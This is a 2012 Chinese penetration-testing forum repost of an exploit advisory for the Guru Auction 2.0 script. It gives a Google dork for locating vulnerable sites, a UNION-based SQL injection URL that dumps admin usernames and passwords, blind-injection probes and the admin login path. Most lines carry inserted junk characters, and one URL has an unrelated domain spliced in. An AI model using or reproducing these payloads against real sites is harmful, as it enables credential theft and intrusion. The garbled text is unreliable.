中国网络渗透测试联盟

标题: Guru Auction 2.0多重sql注射 [打印本页]
作者: admin    时间: 2012-12-31 09:24
标题: Guru Auction 2.0多重sql注射
Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
( j! _; C2 k$ ]. L% N
. C% d- d1 j) ~作者     : v3n0m
1 \- b* N1 S5 U$ f. ]9 r应用 : Guru Auction 2.0
+ U! @2 p: W/ T& UPrice       : $49, ^5 Q( {2 L$ Q! I' P
Vendor      : http://www.guruscript.com/' Q% E' {# I- v/ R
Google Dork : inurl:subcat.php?cate_id=
8 s4 e% G7 @1 f6 A- ` # L8 e; B% I/ i; k0 k
SQLi p0c:
& X' p' |5 k4 U; _1 U( c& C~~~~~~~~~~6 G! v8 J  o% {) n; F
http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--& V$ ~, L4 Z+ Y" R7 R

" x' Y) h5 X$ b, X: @ ( [: C' [0 M8 i6 f/ }
盲注 p0c:9 \6 S# x* {# c3 b( W6 F! p6 O
~~~~~~~~~~
+ L/ v* G% N- }) |* Uhttp://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
7 h/ ^% b" g# q$ l- Ihttp://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false2 n! Z6 I% B% ]# D1 ~) _" I

1 w( g9 b5 \, h8 s! }, q' R& }3 U管理登录入口:5 q+ v+ v# w& `7 C: o( o9 E
~~~~~~~~~~3 S' M3 r  x3 @  P( L
http://domain.tld/[path]/admin/& X* @- G- O3 g( p




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2